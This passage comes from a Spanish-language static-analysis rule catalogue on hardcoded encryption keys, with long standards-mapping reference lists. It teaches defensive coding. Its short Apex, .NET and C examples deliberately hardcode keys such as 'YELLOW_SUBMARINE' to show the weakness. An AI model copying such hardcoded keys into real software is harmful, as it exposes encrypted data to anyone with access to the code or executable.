[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.actionscript.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
Nunca codifique una clave de cifrado porque hace que la clave de cifrado sea visible para todos los desarrolladores del proyecto y que solucionar el problema sea extremadamente difícil. Para cambiar la clave de cifrado después de que el código esté en producción se necesita una revisión de software. Si la cuenta que protege la clave de cifrado se ve comprometida, el propietario del sistema debe elegir entre seguridad y disponibilidad.

Ejemplo 1: El código siguiente realiza el cifrado AES con una clave de cifrado codificada de forma rígida:


...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...


Cualquiera que tenga acceso al código puede ver la clave de cifrado. Una vez distribuida la aplicación, no hay forma de cambiar la clave de cifrado sin una revisión de software. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Cualquier atacante con acceso al ejecutable de la aplicación puede extraer el valor de la clave de cifrado.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.apex.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
La codificación rígida de una clave de cifrado nunca es una buena idea porque permite que todos los desarrolladores del proyecto puedan ver la clave de cifrado y dificulta en gran manera la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se ha enviado la aplicación, no hay forma de cambiar la clave de cifrado, a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación podrían extraer el valor de la clave de cifrado.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.dotnet.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
Nunca es una buena idea aplicar codificación rígida a una clave de cifrado. La codificación rígida de una clave de cifrado no solo permite que todos los desarrolladores de proyectos vean la clave de cifrado, sino que además dificulta la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave de cifrado a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían desensamblar el código, donde se encuentra el valor de la clave de cifrado utilizada.
References
[1] Windows Data Protection Microsoft
[2] Encrypting Your App's Files Apple
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cpp.hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
